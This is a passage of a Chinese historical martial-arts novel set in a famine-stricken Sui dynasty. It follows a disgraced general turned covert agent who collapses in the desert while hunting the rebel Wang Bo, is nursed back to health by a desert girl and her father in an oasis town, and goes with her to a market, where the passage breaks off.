《镖人之末路狂沙》
1. 引子:苦难
当今圣上第三次下旨征讨高丽。
圣旨一下,天下就再也没什么百姓了。田埂上长满了荒草,官道上躺满了死人,活着的比死了的更像个鬼……眼窝深陷,颧骨高耸,走三步喘两口气,不知还能活几天。
家里的男人都被抓走了。老的、少的、能扛得动锄头的,全被绳子拴成一串,押往辽东。剩下女人和孩子,守着空荡荡的屋子,等着饿死。
老人们自发绝食。他们坐在墙角,闭着眼,不吃不喝,想着省下一口粮给孙子吃。可省下的那口粮,不过是米汤里多出几粒米,数得清楚。
到处都在闹饥荒。
尸体被人从坟里刨出来,肉剃得干干净净,骨头扔在路边发白。后来坟里刨不出东西了,就开始杀人。人肉和树皮一起熬汤,能多熬几天。杀人的人,和被杀的,昨天还一个锅里吃饭。
山匪横行,官道断绝。中原除了几座大城,其余的地方都在乱。今天你抢我,明天我杀你,后天大家一起死。
民间早就流传起一首歌谣:
长白山前知世郎,纯着红罗锦背裆。
长矛侵天半,轮刀耀日光。
上山吃獐鹿,下山吃牛羊。
忽闻官军至,提刀向前荡。
譬如辽东死,斩头何所伤。
这歌谣像野火一样烧起来。还活着的人、还没死透的人、还有一口气的人、还想活下去的人,都聚到了王薄麾下。他们自称义军,只等一声令下,直取长安,砍下杨广的狗头。
圣上想派兵去剿。
可王薄躲在大漠深处。那里有五大家族守着,同仇敌忾,像铁甲一样难啃。
只能兵分两路。
一路派裴侍郎裴世矩,前往大漠,用计策分裂五大家族。
另一路派暗刃……那些见不得光的人……潜入大漠,不管死的活的,都得把王薄带回来。
城西,一间昏暗的屋子里。
屋子不大,却挤了几十号人。他们靠在墙边,蹲在地上,手里捧着碗,碗里是米汤,汤上漂着几粒米。另一只手攥着硬饼,饼硬得能砸死人。
没人说话。只有咀嚼声,吞咽声,偶尔有人放个屁,也没人在乎。
有任务的就走,没任务的就挤着。屋子里什么气味都有,汗臭、脚臭、腐烂的伤口、发霉的干粮,混在一起,呛得人睁不开眼。可没人在乎。
忽然,门被踹开。
一个衣着华丽的宦官领着一队铁甲军闯了进来。宦官白净脸,尖嗓子,腰板挺得笔直,和这屋里的腌臜格格不入。
“圣上有旨……”
他拖长了声音,像是在宣读什么隆重的诏书。可这屋子里没有香案,没有百官,只有一群蓬
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头垢面的亡命徒。
“派你等前往大漠,追杀知世郎王薄!不论死活,只要带回大兴,赏黄金百两,此前事一笔勾销,封千户!”
话音落下,满屋子的人愣了一瞬。
然后像炸了锅一样。
磕头的,谢恩的,抢着往外挤的,转眼间走得一干二净。那扇门被撞得摇摇晃晃,最后只剩下一个人。
那人还蹲在角落里,把最后一口硬饼掰碎了,泡进米汤里,等它软了,才一口一口送进嘴里。
宦官眉头一挑,尖着嗓子问:“你为何不去?”
那人没抬头,只是把嘴里的东西咽下去,才慢慢站起身。
他从角落里拽出一个木箱。箱子不大,四尺来长,乌沉沉的,上面沾满了灰。他把箱子背在背后,走到墙边,看了一眼那张画得不像的画像。
画像上的人,他记住了。
然后他走出门。
外面天光刺眼,他眯了眯眼,吹了一声口哨。
一匹枣红色的马从马厩里跑出来,跑到他面前,用鼻子蹭了蹭他的手。他抬手拍了拍它的脖子,翻身上马,一夹马腹。
马冲了出去,转瞬间便不见了踪影。
只剩下马蹄扬起的尘土,在日光下慢慢落下。
没人知道他叫什么。
也没人知道他去了哪里。
2. 第一章:大漠
穷荒绝漠鸟不飞,万碛千山梦犹懒。
放眼望去,除了沙,还是沙。
那沙不是中原人想象中的那种柔软的黄,而是死寂的、灰扑扑的、一眼望不到头的苍黄。天是白的,被太阳烤得发白,地是黄的,被风揉得发黄。天和地在大漠尽头糊成一片,分不清哪里是天,哪里是地。
太阳悬在正午的大漠上时,能把人脑子烤成浆子。那光不是照下来的,是砸下来的,沉甸甸地砸在头顶,砸在肩上,砸在每一寸裸露的皮肤上。吸进肺里的空气像烧红的刀子,每喘一口气,都觉着嗓子眼在冒烟,连唾沫都是烫的。若是在沙地上站久了,连靴底都能烫出焦味儿来。
可到了夜里,这地方又冷得像是被老天爷扔进了冰窖。太阳一落,热气就嗖地被抽走了,快得像有人拔了塞子。风从四面八方钻出来,往骨头缝里扎。白天还烫人的沙子,夜里能冰得人打颤。风刮在脸上,跟钝刀子割肉似的,不锋利,就是一下一下地磨,磨得人生疼。
大漠的夜和长安的夜,是两辈子的事。
长安的夜,是酒旗招展,是胡姬旋舞,是打更人那句永远拖长了尾音的“天干物燥……”。是红灯笼映着的青石板路,是坊门落锁前最后一拨急着回家的人,是东市西市散尽后的炊烟。长安的夜里,到处是人影,到处是人声,连狗叫都透着股热乎劲儿。
而大漠的夜,什么都没有。
只有风。
还有风里那些绿幽幽的眼睛。
那些眼睛不是一双两双。是一双,两双,十双,百双。
它们在沙丘的暗处亮起来,像坟地里的鬼火,远远地盯着你看。你往前走,它们就往后挪;你停下来,它们也停下来。不靠近,也不离开,就那么远远地、幽幽地、一动不动地盯着你。
老人们说,那不是鬼。
是被沙子吃掉全族、回来找替身的疯子。
据说许多年前,大漠深处也有过一座城,城里住着一族人。后来不知是得罪了神明还是遭了天谴,一夜之间,整座城被黄沙吞没,全族老小无一幸免。
可他们的魂没散,变成了另一种东西,在这片没有活路的死地上游荡。他们管自己叫罗刹族,活成了比鬼还像鬼的东西。
他们喜好人肉,尤其喜欢那些落单的、没有火把的、被同伴丢下的旅人。
大漠里最不缺的,就是这种人。
大漠无垠,一道单薄的身影,一匹枣红马,正缓缓行于沙海。
那身影走得慢,每一步都陷进沙里,拔出来,再陷进去。人和马的影子被斜阳拉得老长,歪歪扭扭地拖在沙地上,像一团被揉皱了的墨迹。
那人勒住马,解下水囊。
水囊已经瘪了,拿在手里轻飘飘的。他摇了摇,里头只有一点水声,稀稀拉拉的,像小孩儿咽气前的喘息。他拔开塞子,将囊口凑到马嘴边,倾斜……仅剩的水全数灌进马嘴。
马舌贪婪地卷动,舔着囊口,舔着他的手,还想要。
他却仍不甘心,攥紧皮囊用力挤压,指节都攥得发白。囊皮皱成一团,被他翻来覆去地捏,捏得手心都疼了,才终于又挤出一滴。那滴水颤颤巍巍地挂在囊口,半天不肯落,最后还是坠了下去,渗入马唇。
直到最后一滴没了,他才将那团皱皮随手抛下。
皮囊落在沙上,滚了半圈,不动了。沙子从底下翻涌上来,像水一样流过去,没过囊身,没过囊口,片刻间吞没了痕迹。就好像这世上从来不曾有过那只水囊。
他一身黑袍裹得严实,从头到脚只露出一双眼睛。那眼睛不大,眼窝深陷,眼眶发青,是太久没睡好觉的人才会有的颜色。背后缚着一只四尺来长的木匣,匣身乌沉,不知是什么木料,也不知里头装了什么,只看得见匣盖上刻着些模糊的纹路,像是字,又像是符。
腰间横着一柄精钢宝刀。刀鞘是黑色的,没有任何装饰,只在鞘口处缠了几圈旧布,已经被手汗浸得发亮。
马身一侧,还挂着一杆长枪。枪身粗如儿臂,长越八尺,枪头寒光隐现,在斜阳下泛着冷幽幽的青芒。那是传说中重七十二斤的霸王枪,寻常人别说使,就是扛都扛不动。
可他骑着马,那枪就那么随便挂着,像挂一捆柴禾。
他本是大隋的骁骑将军。
手底下管着八百号人,骑的都是从西域买来的良马,穿的是朝廷发的明光铠,使的是工部打造的官造兵器。逢年过节进宫当值,还能远远望一眼龙椅上的那个人。
可这一切都毁了。
因为麾下一卒惹出的祸端,他遭了牵连,一夜之间从将军沦落成了替当今圣上收拾残局的暗刃。没人记得他打过多少仗,杀过多少人,流过多少血。只记得他手下有人犯了事,而他,是那人的顶头上司。
这就是官场。
如今那知世郎振臂一呼,天下揭竿而起。从山东到河北,从河南到江淮,到处是揭竿而起的乱民。官军打不过,招安招不动,朝廷的脸面丢了一地。
他的新差事,便是赶赴大漠深处,将那个躲起来的祸首,带回他的主子面前。
……活的,死的,都行。
他勒住马,望着前方茫茫的沙海,忽然伸手拍了拍枣红马的脖颈。
“老伙计,”他的声音沙哑得像沙子刮过石头,干涩,粗粝,每一个字都像是从嗓子眼里硬挤出来的,“这次我们可能出不去了。”
马耳朵转了转,像是听懂了。
“只是可惜了你。”他又拍了一下,力道很轻,像是怕拍疼了它,“跟我征战十二年,没死在杀场上,却死在这沙……”
漠字还没出口,那马却猛地竖起耳朵,朝一个方向狂奔而去。
他猝不及防。
缰绳还绕在手腕上,没来得及抓紧,就被猛地扯脱。他整个人从马背上摔了下来,后背重重砸在沙地上,砸出一片凹陷。沙子灌进衣领,灌进袖口,灌进眼睛鼻子嘴巴,呛得他直咳嗽。
顾不上身上的痛,他翻身爬起就追。
在这大漠里,没了马,就是没了命。
枣红马跑得飞快,四条腿扬起的沙子糊了他一脸。他看不清前路,看不清方向,只凭着那团越来越远的影子拼命追。腿像灌了铅,肺像灌了沙,每一次呼吸都带着血腥味儿。
可他不敢停。
他不知道追了多久。也许是半个时辰,也许是一个时辰,也许更久。大漠里的时间是没有刻度的,你只能感觉到太阳在往下坠,天色在变暗,风在变冷。
沙地松软,每一步都陷进去,拔出来,再陷进去。他的靴子里灌满了沙,脚底磨出了血,每走一步都在沙上留下一个浅浅的红印,又被风吹平。
他不知道跑了多久。肺里像灌满了黄沙,每一次呼吸都能听见自己的肺在嘶叫。喉咙只剩下烧灼,已经感觉不到渴,只觉得嗓子里塞着一团火,吞不下去,也吐不出来。
翻过一个沙丘……
一条小河,就在眼前。
那河不大,窄窄的一弯,水是清的,能看见底下的沙。河边长着几丛芦苇,绿得扎眼。还有一棵歪脖子树,树干扭曲,枝条稀疏,但确实是树,活的树。
他想冲过去。
腿却再也迈不动了。膝盖一软,整个人往前栽去。沙地迎面扑来,灌进眼睛鼻子嘴。他想撑起身子,手臂却使不上力气,软塌塌地摊在两边。
身子一软,一头栽倒在沙地上,没了动静。
风从河面上吹过来,带着水汽,凉丝丝的,拂过他满是沙土的脸。
他什么也感觉不到了。
不知过了多久,他从黑暗中醒了过来。
第一个感觉是:软。
身下不是大漠那种一压一个坑的松软,而是实实在在的柔软……是床榻,铺着褥子,垫着被褥,压下去会慢慢弹起来的那种软。他已经很久很久没有睡过这种床了。
紧接着是一股幽香。
那香味很淡,不浓不冲,不是脂粉那种张扬的艳香,倒像是女儿家枕席间浸出的清甜,幽幽地往鼻子里钻,钻进去就不肯出来。
他意识骤然清醒,猛地睁开眼睛。
雕梁画栋。
锦帐罗帷。
头顶是描金的横梁,梁上画着缠枝莲纹,工笔精细,金粉还在幽幽反光。四周挂着帐子,是淡青色的薄纱,透光不透人,风一吹就轻轻飘动。再往外看,是紫檀木的桌椅,是青瓷的花瓶,是案头燃着的沉香,是窗外透进来的天光。
这分明是间大宅,而且绝非寻常百姓人家。
他抬手摸向腰间。
心猛地一沉。
空了。长刀不在。
再探身后。那只跟了他多年的四尺木匣,也已不翼而飞。
他咬牙想挣扎着坐起,却发现浑身像被抽去了筋骨,绵软无力。四肢沉甸甸地陷在被褥里,根本使不上劲儿。除了右手还能勉强动弹,其余部位全然没了知觉。他试着动了动脚趾,没反应;动了动膝盖,没反应;动了动腰,还是没反应。
一种久违的恐惧从心底升起来。
难道我这是已经死了?被阎罗王判入了地狱?
可地狱里怎么会有这么软的床,这么香的帐,这么精致的屋子?
他眼珠缓缓转动,屏息凝神,一点一点扫视着这间屋子。
窗边。
那木匣静静地立在那里。
匣身乌黑,上面还沾着大漠的风沙痕迹,与这间精致的屋子格格不入。匣盖合得严严实实,看不出是否被人打开过。而在木匣之上,横放着一柄刀……
刀身乌沉沉的,映着窗纸透进来的天光,泛着冷幽幽的寒。刀鞘上缠着的旧布已经磨得发白,那是他这些年握出来的痕迹,是指尖无数次拂过留下的印记。刀身从匣上探出半截,悬在空处,像是随手一放,又像是刻意摆成这副模样。
正是他那把精钢宝刀。
他暗暗松了口气。刀还在,匣还在,没丢。
他的目光从窗边收回,正欲再打量别处,却瞥见木匣另一侧立着一副铠甲。
全身铠。红的发黑。
甲片上坑坑洼洼,箭痕刀伤密密麻麻,有的地方凹进去一大块,是被钝器砸的;有的地方豁开一道口子,是被利刃划的。胸口的护心镜缺了半边,剩下半边也裂成了蛛网,裂纹从中心向四周放射,像一朵炸开的冰花。
他一眼就认出,那是他自己的甲。
心头猛地一跳。
他下意识朝自己身上摸去……果然,浑身上下被剥得干干净净,只剩一套单薄的里衣。那副陪了他半生的铠甲,此刻正孤零零地立在窗边,像个被卸了甲的老卒。
连里衣都换了。这是把我从头到脚摸了个遍。
他这么想着,手却没停,继续往腰间摸去。
腰带还在。
那是他唯一的习惯……刀可以离手,甲可以卸下,唯独这条腰带,十二年来从没解过。睡觉不解,洗澡不解,就是上战场也不解。带子是牛皮做的,又厚又硬,已经磨得发亮。里层缝着一道暗口,口子开在腰带内侧,贴着
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皮肉,不仔细摸根本察觉不到。
暗口里藏着一柄两寸长的飞刃。
刃薄如纸,没有刀鞘,就那么在带子里插着。刃身冰凉,刃尖锋利,轻轻一划就能见血。
他的指尖探进暗口,触到那抹冰凉。
刃还在。
他不动声色地将它滑进掌心,蜷指扣住。刀身贴着手心的温度,让他心里稍微踏实了些。不管这是什么地方,不管救他的是谁,有这东西在手里,至少不是任人宰割的鱼肉。
东西没被搜走。这群人要么是粗心,要么……是故意的。
他垂着眼,把飞刃往袖口里藏了藏,继续瘫在原处,一动不动。
外头的天光从窗纸透进来,白晃晃的,不知是什么时辰。院子里隐约传来几声鸟叫,脆生生的,和大漠里那种阴森的狼嚎完全是两个世界。
他躺着,盯着帐顶的缠枝莲纹,脑子一刻没停。
谁救的我?为什么救我?这宅子是谁的?在大漠深处,怎么会有这么一处地方?还有那个……他瞥了一眼窗边的铠甲……那个把我剥得干干净净的人,到底想干什么?
正想着,门帘忽然挑动了。
他立刻闭上眼睛,只留一条细缝,从睫毛底下往外看。
一个少女端着一盆水走了进来。
她一身白衣,料子不像是中原的丝绸,倒像是某种粗糙的麻布,但洗得很干净,白得发亮。那身小麦色的肌肤被白衣一衬,显出几分不同于中原女子的飒利。不是那种温婉的白,是风吹日晒才有的颜色,健康的,透着股野劲儿。
脸庞棱角分明,眉骨略高,眼窝微陷……是塞外才有的长相。不是汉人,至少不全是汉人。额间垂着一枚银饰,雕着些看不懂的花纹,随着步子轻轻晃动,压住几缕粗黑的发辫。辫梢系着细碎的兽牙,颗颗莹白,磨得发亮,像是狼的,又像是豹的。
背后斜挎着一只箭袋,满满一袋羽箭,箭羽雪白,同样磨得发亮。她走路的姿态很轻,脚落地几乎没声,是常年在野外行走的人才有的习惯。
她把水盆搁在床头矮几上,一抬眼,正对上床上那人醒着的眼睛。
“醒了?我阿塔说你中了赤砂蝎的毒,要不是他找游医给你解了,你这条命早就交代了。”
她的声音清脆,带着点异域的口音,咬字有点生硬,但不难听。她一边说,一边将一块洁白的巾帕浸进水里,沾湿了,拧到半干,然后轻轻擦拭着他干裂的嘴唇。
巾帕温热,水汽润进唇缝,带着一股草木的清气。他已经不知道多久没沾过水了,嘴唇干得起了皮,一动就裂。那巾帕擦过,火辣辣的疼,但又舒服得要命。
“我这是在哪?”他开口,声音沙哑得像砂纸刮过石头,自己听着都吓了一跳。
“当然是我家啊。”少女手上的动作没停,继续给他擦脸,从嘴唇擦到脸颊,从脸颊擦到额头,“要不是你那匹马跑来找我,你早就死在大漠里了。”
马?
他脑子里闪过那个狂奔而去的枣红影子。它跑去找人了?
“不过你这人也真是奇怪……”
少女顿了顿,手上的巾帕停了停,抬眼看他。那双眼睛很大,眼珠是浅褐色的,亮晶晶的,带着点狡黠的笑意。
“穿着那么重的铠甲,还背着个大箱子。”她嘴角扬起一丝笑,“怎么?里头藏了什么宝贝疙瘩?”
他没回答,只是盯着她。
“我的腿为什么动不了?”
少女眨眨眼,手上的巾帕又停了停。
“你太沉啦。”她歪了歪头,像是在回忆什么,“我怎么也把你弄不上马背,只好用绳子把你系在后头,一路拖回来的。”
她说着,手上的动作继续,把巾帕重新浸湿,拧干,又开始擦他的脖子。
“你要么是赤砂蝎的毒还没解干净,要么……”她拖长了尾音,瞥了他一眼,“就是路上撞大石头上,把腰撞断了。”
他眼睛倏地瞪大。
瞳孔骤缩,死死盯着她的脸,嘴唇抿成一条线,喉结上下滚动,却终究一个字也没吐出来。腰断了?这三个字像一盆冰水,兜头浇下来,浇得他浑身发冷。
她被这眼神盯得有些发毛,手上的动作顿了顿,然后连忙摆手。
“你这么看我干嘛?当然是把你背回来的啊!”她说着,把巾帕往盆里一扔,“不过你的铠甲、刀和箱子确实是我的马拖回来的……就是觉得你挺有意思的,想逗逗你玩嘛。”
见他仍不吭声,就那么盯着她,她瘪了瘪嘴,垂下眼,小声嘟囔。
“诶……好吧好吧,对不起,我不该开那个玩笑的。”
她说完,抬眼偷偷看他,像做错事的小孩等着大人发落。
他依然不说话。
屋子里安静下来,只听得见窗外偶尔的鸟叫,和盆里水轻轻晃动的声音。
过了好一会儿,少女忽然开口。
“我叫阿育娅。”她说,声音恢复了那种脆生生的劲儿,“我是大漠的公主。你呢?你叫什么名字?”
他张了张嘴。
流民。草寇。随便编一个,反正这丫头看着好糊弄……
话到嘴边,他瞥见窗边那副铠甲。红的发黑,满身箭痕,胸口的护心镜缺了半边。那东西往那儿一杵,说自己是流民,谁信?
他咽了口唾沫,把编好的瞎话也咽了回去。
“……主家姓陈,单名一个晨字。”
顿了顿,又补了半句。
“我是个镖人。”
3. 第二章:莫家集
“镖人?”阿育娅歪了歪头,“又一个镖人?我也认识一个镖人。可那人总是一身便装,一匹快马,背后背着数十柄钢刀,来去匆匆的。”
她一边说着,一边弯腰去搬陈晨那只木匣。匣子看着不大,入手却沉得她身子一歪,咬着牙才挪到床边,往地上一墩,喘了口气。
“你这东西怎么打开的?教教我呗?”她拍了拍木匣的一侧,语气里满是好奇,眼睛亮晶晶地盯着那乌沉的匣面。
陈晨瞳孔一缩,刚想出声阻止……
来不及了。
只听“咔哒”一声轻响,那声音极脆,像是什么机括弹开了。木匣另一侧骤然弹开一道暗格,一支无羽短箭激射而出,带着尖锐的破风声,擦着陈晨的耳畔掠过,“夺”地钉入他身后的床柱。
箭尾颤颤,嗡嗡作响。
距离他的眼睛,不过两寸。
屋子里一下子静了。
阿育娅愣住了,手还悬在半空,保持着拍匣子的姿势。她盯着那支箭,又盯着陈晨,又盯着那支箭,半晌没动。
陈晨也盯着那支箭。箭身没入床柱足有三寸深,露在外头的部分还在轻轻颤动。
他缓缓吐出一口气,抬起右手……那只是他现在唯一能动的部位,在空中徒劳地摆了摆,指尖都在发抖。
“别……别再拍了……”
他的声音哑得厉害,像是从嗓子眼里硬挤出来的。
“等我能动了,我教你怎么开……”
阿育娅这才回过神来。她“哦”了一声,把手背到身后,像做错事的小孩。可那眼睛还是忍不住往木匣上瞟,瞟一眼,又赶紧收回来,过一会儿,又忍不住瞟一眼。
陈晨看着她那模样,忽然觉得有点想笑。嘴角刚动了动,却见阿育娅的目光忽然定住了,定在他身上某个地方。
他顺着她的目光低头一看……心猛地一沉。
袖口。
那柄飞刃不知何时露出了一截。刃身薄如纸,在窗纸透进来的光里闪了一下,像一尾银色的鱼。
他还没来得及动作,阿育娅的手已经伸过来了。
手比话快。
陈晨只觉手腕一轻,那柄藏了半天的小东西已经到了阿育娅手里。她两根手指捏着刃尖,对着光端详,翻来覆去地看,像是在端详什么稀罕物件。
“这么薄……”她喃喃道,“能杀人吗?”
她说着,随手往旁边的矮几上一划。那刃锋划过木面,无声无息,像划过一块豆腐。矮几上立刻多了一道细细的痕迹,深约半寸,切口齐整得像是刨子推出来的。
阿育娅眼睛亮了。
“好东西啊!”她转过头来,语气里带着点惊喜,“你这人身上怎么尽是些稀奇古怪的玩意儿?”
陈晨没接话。他只是盯着她手里的飞刃,又看了看自己被掏空的右手,嘴唇动了动,最终什么也没说出来。
阿育娅把刃尖对着光又看了一会儿,忽然像是想起了什么。她转过头来,看着他,语气里带着点教训人的味道,眉眼却弯着。
“你现在可是个病人。”她说,“舞刀弄枪的,伤了自己怎么办?”
话音落下,她随手一抛。
那柄飞刃在空中翻了个跟头,翻得慢悠悠的,刃身折射出一道细细的光,在空中划了道弧线,然后落在矮几上,“啪”的一声脆响。
陈晨盯着那矮几,又看了看自己被掏空的右手,嘴唇动了动,最终什么也没说出来。
阿育娅的阿塔已是年近七旬的人了。
在这大漠里头,能活到这把年纪的人不多。能活到这把年纪还硬朗着的,更是少之又少。老莫便是这少之又少里的一个。
他腰板挺直,走路不带晃,说话中气也足。只有走近了细看,才能瞧出些老态……眼窝深陷下去,眼眶周围是一圈青黑,像是多少年没睡好觉的人。手上的皮也松了,皱巴巴地裹着骨头,手背上青筋暴起,一条一条的,像干涸的河床。
他是老来得女。
阿育娅的娘生下她就没了,老莫一个人把她拉扯大。捧在手里怕摔了,含在嘴里怕化了,从小到大,阿育娅要干什么,他都由着她的性子。她要骑马,他就教;她要射箭,他就练;她要往外跑,他就由着她跑,只是每次都要叮嘱一句“早点回来”。
这回她把陈晨这个陌生男人捡回来,直接塞进自己的闺房里养着……如此荒谬的事,他竟也没拦着。
只是每日总要过来几趟。
站在门口,看一眼,也不说话,看完就走。
陈晨身上的药,也是他亲手换的。换的时候动作很轻,手很稳,不像个七旬的老人。他把那些草药捣烂了,敷在陈晨被蝎子蜇伤的伤口上,然后用布条一圈一圈缠好,缠得不松不紧,刚好能把药固定住。缠完了,他还要用手按一按,试试松紧,然后站起来,再看陈晨一眼,还是不说话,转身就走。
这里的人都叫他莫族长,或者老莫。
没人知道他叫什么名字。也没人问。
这天傍晚,老莫推门进来。
他没像往常那样站在门口,而是直接走到床边,看了陈晨一眼。
“能走吗?”
声音很平,像在问一件寻常事。
陈晨愣了一下,然后点了点头。
老莫没再说话,只是伸手扶住他的胳膊。那手看着干瘦,力气却不小,一把将他从床上捞了起来,像捞一捆柴禾。
陈晨的腿还是软的,踩在地上像踩在棉花上,深一脚浅一脚。老莫也不急,就那么扶着他,一步一步往外走。
阿育娅正蹲在院子里喂马,看见他们出来,愣了一下,然后站起来。
“阿塔,你带他去哪儿?”
老莫没回头。
“走走。”
阿育娅“哦”了一声,又蹲下去,继续喂马。那匹枣红马和阿育娅的白马正靠在一起埋头吃草,吃得很专心,连头都不抬。
老莫扶着陈晨,一步一步走到镇子中央。
那里孤零零立着一棵桃树。
树不高,也就两人来高。树干歪歪扭扭的,像是被风吹歪了,又像是自己长歪了。枝丫伸展开来,遮出一片小小的阴凉。树上开满了桃花,开得密密匝匝的,一朵挨着一朵,把枝条都压弯了。
那花开得极艳,艳得扎眼。在这灰扑扑的镇子里,在这苍黄的天地间,那一树粉红像一团火,烧得人心口发烫。
老莫看着那棵桃树,看了很久。
夕阳把天边烧成一片橘红,余晖落在桃树上,落在花瓣上,落在他脸上。他脸上的皱纹被那光一照,显得更深了,像一道道沟壑。“毒解得差不多了。”他开口,声音很平,“那天丫头把你带回来,我还以为她从哪搞了个死人。”
陈晨没接话。
他也看着那棵桃树。看着那满树桃花,他便想到了长安。
他收回目光,看向远处。远处是一片苍黄,天和地糊在一起,分不清哪里是尽头。
“和死人也没差太多。”他顿了顿,声音沙哑,“中原混不下去了,总得另谋出路。听熟络的镖人说,这大漠里遍地都是来财的门路……谁知道才进来没几天就遇上沙暴,司南也丢了。”
他转过头,看向老莫。
“要不是阿育娅,我可能真就交代了。”
老莫没应声。
他只是看着那棵桃树,像在看一个老熟人。
过了很久,他才开口。
“看你的行头,不像是普通人。”
他终于转过头,目光落在陈晨脸上。那目光很平静,平静得像一潭死水,可陈晨知道,那死水底下藏着东西。
“怎么也会在中原混不下去?”
陈晨沉默了许久,看向老莫。
“莫前辈。”他开口,声音还是沙哑的,“晚辈以前确实在军中吃过几年官粮……只是那官粮,不合我的胃口。”
他说完,顿了顿,又补了一句:
“现在只想活着,做好一个镖人。”
老莫没接话。
他转过身,又看向那棵桃树。夕阳已经落下去了,天边只剩一抹暗红。那桃树在暮色里显得模糊了,只剩一团朦胧的粉红,像一团雾。
过了很久,他才开口。
“你觉得我这莫家集如何?”
声音很平,像是在问陈晨,又像是在问自己。
陈晨也看着那棵桃树。
“不像大漠里的地方。”他说,“像塞上江南。”
老莫轻轻“呵”了一声,不知是笑还是叹气。
“江南……”他喃喃道,“我没见过江南。听说那里到处都是水,河啊,湖啊,塘啊,出门就得坐船。”
他顿了顿,又说:
“我这辈子,见的都是沙子。看惯了。”
陈晨没接话。
两人就那么站着,看着那棵桃树,谁也不说话。
风吹过来,带着沙子,打在脸上,微微的疼。桃树被风吹动,花瓣簌簌地落下来,飘在空中,飘了一会儿,落在地上,落在沙子里。
“你既然是个镖人,那一定是顶尖的那一批吧?”
老莫忽然开口,语气很平淡,像是在问一件寻常事。
“不然怎么敢一个人独闯大漠?”
陈晨盯着那棵桃树,看着那些飘落的花瓣。
“是最次的那批。”他说,“不然也不会在中原混不下去了。”
老莫转过头,看了他一眼。
那一眼很长,长到陈晨都觉得有些不自在。
然后老莫收回目光,又看向那棵桃树。
“最次的那批……”他重复道,声音里听不出什么情绪,“最次的那批,能一个人活着走出大漠?”
陈晨没接话。
他只是看着那些花瓣,看着它们一片一片落下来,落在沙子上,被风一吹,又飘起来,飘向远处。
远处是一片苍黄,什么都看不清。
莫家集的白天与夜晚,完全是两个不同的世界。
夜晚的莫家集虽说不上冷清,却安安静静的。家家户户闭着门,窗纸后面偶尔透出一点昏黄的光,像一只只困倦的眼睛。躺在房间里,躺在床上,甚至能听见昆虫在沙地上爬行的声音……细细碎碎的,像有人在远处悄悄说话。
可一到白天,整个集镇就像活了过来。
到处都是人。
卖吃食的摊子冒着热气,油锅里滋啦滋啦响,炸得金黄的油饼在笊篱里翻个身,香味飘出老远。铁匠铺里叮叮当当,炉火映得门口一片通红,风箱呼哧呼哧地响,火星子溅出来,落在地上,一闪就灭。还有那些行色匆匆的旅人……有人刚从大漠深处出来,满脸沙尘,一头扎进酒馆就不肯出来,要了酒,要了肉,大口大口地吃喝,像要把这些天欠的都补回来;有人正准备出发,在水井边排队打水,把羊皮囊灌得鼓鼓囊囊,灌完了还要掂一掂,试试分量。
小摊上摆着各种零碎物件:干粮、水囊、绳索、火折子、磨刀石……都是赶路的人用得上的东西。摊主们也不吆喝,就那么坐着,有人问才搭腔。问价的人蹲下来,拿起这个看看,拿起那个摸摸,问几句,嫌贵,放下,走了。摊主也不急,还是那么坐着,等下一个。
阿育娅跟在陈晨身边,走得很快,靴子踩在地上“噔噔”响。
“为什么不住在我那了?”她大声问道,声音盖过了周围的嘈杂。
陈晨没回头。
他牵着那匹枣红马,背后依旧背着那个黑木箱子。腰间的长刀换了新布,缠得紧紧的,那杆七十二斤的霸王枪也换了个位置……挂在顺手就能摸到的地方。而他的全身甲则被之前穿过的黑斗篷包好,仔细得绑在马背上,捆得结结实实,走一步晃一下,晃一下响一声。
“男女有别,终归不便。”他顿了顿,声音比前几日温润了许多,不再像砂纸刮过石头,“这几日已承蒙照顾,不敢再叨扰。”
阿育娅愣了一下,皱起眉。
“你们这些中原来的人,怎么都这样?”她撇撇嘴,嘴撅得老高,“说话拐弯抹角的,‘不敢再叨扰’……叨扰是什么?你就说‘不
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住了’不就完了吗?真不痛快。”
陈晨没接话,只是嘴角动了动,像是想笑,又忍住了。
他嘴角那一点抽动,像是石子投进水里,涟漪还没荡开就收了回去。
两人走走停停,穿过人群,绕过几个摊子,最终在一个小摊子前停了下来。
摊子不大,一块破布铺在地上,上面摆着些零碎物件。有缺了口的碗,有生了锈的刀,有几枚铜钱,有几块看不出是什么的石头。角落里头,摆着一只司南。
那司南做得粗糙,铜盘上刻着些模糊的方位,勺子搁在中间,歪歪斜斜的,像是被人拨弄过很多回。
“司南,什么价?”
“十两银子。”
那小贩头都没抬,随口扔出一个价。他蹲在那里,手里摆弄着什么东西,眼睛都不往陈晨这边看。
陈晨沉吟片刻,从怀中掏出一个布袋。布袋不大,拿在手里轻飘飘的。他解开袋口,往里看了看,数了数里头的碎银,又揣回怀里。
他抬手从腰带上解下一块雕花精美的玉牌,递了过去。
“这块玉换你的司南,行不行?”
那小贩这才抬起头,瞟了一眼那块玉牌,随即抬手一挡。
“十两银子,你给我这石头片子有什么用?不买赶紧走,别耽误我做生意。”
他的手还没碰到玉牌,阿育娅已经一把攥住他的手腕。
她笑眯眯的,眼睛弯成两道月牙,可那手劲儿却大得吓人。那小贩的脸顿时白了,嘴张了张,想喊,又不敢喊。
“三两。”阿育娅说,声音脆生生的,像在说今天天气不错,“多一两也没有。”
那小贩一抬头,看清是她,脸色顿时变得更难看了。嘴张了又张,张了又张,最后挤出个笑来,笑得比哭还难看。
“三……三两就三两。”
阿育娅松开手。
那小贩揉着手腕,飞快地把摊上的东西卷成一团,揣进怀里,一溜烟没影了。跑得飞快,连头都不敢回。
陈晨看着那人消失的方向,又看了看阿育娅。
他没说话,只是从布袋里数出三两银子,放在那空荡荡的摊位上。然后弯腰,把那只司南捡起来,在手里掂了掂,揣进马鞍旁的口袋里。
做完这些,他才转过身,把手中的玉牌塞进阿育娅手里。
阿育娅没拒绝。她低下头,看着那块玉牌,翻过来,翻过去,看了又看。然后她把玉牌举起来,对着太阳。日光透过玉身,在她脸上映出一小块温润的光斑,亮晶晶的,随着她手的晃动轻轻游走。
玉牌不大,方寸之间雕着精细的云纹。那是将门世家的东西,跟了他十几年。
“少看太阳,”陈晨开口,“会把你眼睛烧瞎的。”
阿育娅放下玉牌,歪着头看他。嘴角弯起来,带着点揶揄的味道。
“这东西对你挺重要的吧?”她眨眨眼,眼睛亮晶晶的,像两颗浅褐色的珠子,“未婚妻送的?定情信物?”
陈晨没接话。
他只是看着那块玉牌,看着它在她手里,在日光下,泛着温润的光。
过了好一会儿,他才开口。
“身外之物罢了。”
他顿了顿,又补了一句:
“喜欢就留着当个摆件。不喜欢……找懂行的商人换成银子。”
“才不要。”
